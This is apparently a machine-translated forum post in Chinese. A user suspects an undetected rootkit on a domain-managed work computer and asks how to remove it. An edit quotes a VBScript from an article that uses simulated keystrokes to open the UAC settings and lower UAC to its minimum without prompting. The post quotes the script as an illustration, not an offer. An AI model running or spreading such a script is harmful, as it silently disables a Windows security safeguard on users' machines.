正如这个非常类似的问题所建议的那样,我已经使用RegRun和UnHackMe运行了完整扫描(+引导时间扫描),但是它们也没有找到任何东西。我已经仔细检查了事件查看器中的所有条目,但是没有错。
现在我知道我的机器上有一个隐藏的木马(rootkit),它似乎很成功地掩饰了自己。请注意,我没有机会删除HDD或重新安装OS,因为这是一台受公司域上某些IT策略约束的工作机器。
尽管做了我所有的尝试,问题仍然存在。我严格需要点对点方法或pukka rootkit卸妆剂才能将其删除。我不想胡闹的系统设置,即禁用自动运行一个一个,搞乱注册表,等等。
编辑2:我发现了一篇与我的麻烦密切相关的文章:
在本文中,给出了VBScript代码以自动禁用UAC:
'// 1337H4x Written by _____________ '// (12 year old) Set WshShell = WScript.CreateObject("WScript.Shell") '// Toggle Start menu WshShell.SendKeys("^{ESC}") WScript.Sleep(500) '// Search for UAC applet WshShell.SendKeys("change uac") WScript.Sleep(2000) '// Open the applet (assuming second result) WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{ENTER}") WScript.Sleep(2000) '// Set UAC level to lowest (assuming out-of-box Default setting) WshShell.SendKeys("{TAB}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") WshShell.SendKeys("{DOWN}") '// Save our changes WshShell.SendKeys("{TAB}") WshShell.SendKeys("{ENTER}") '//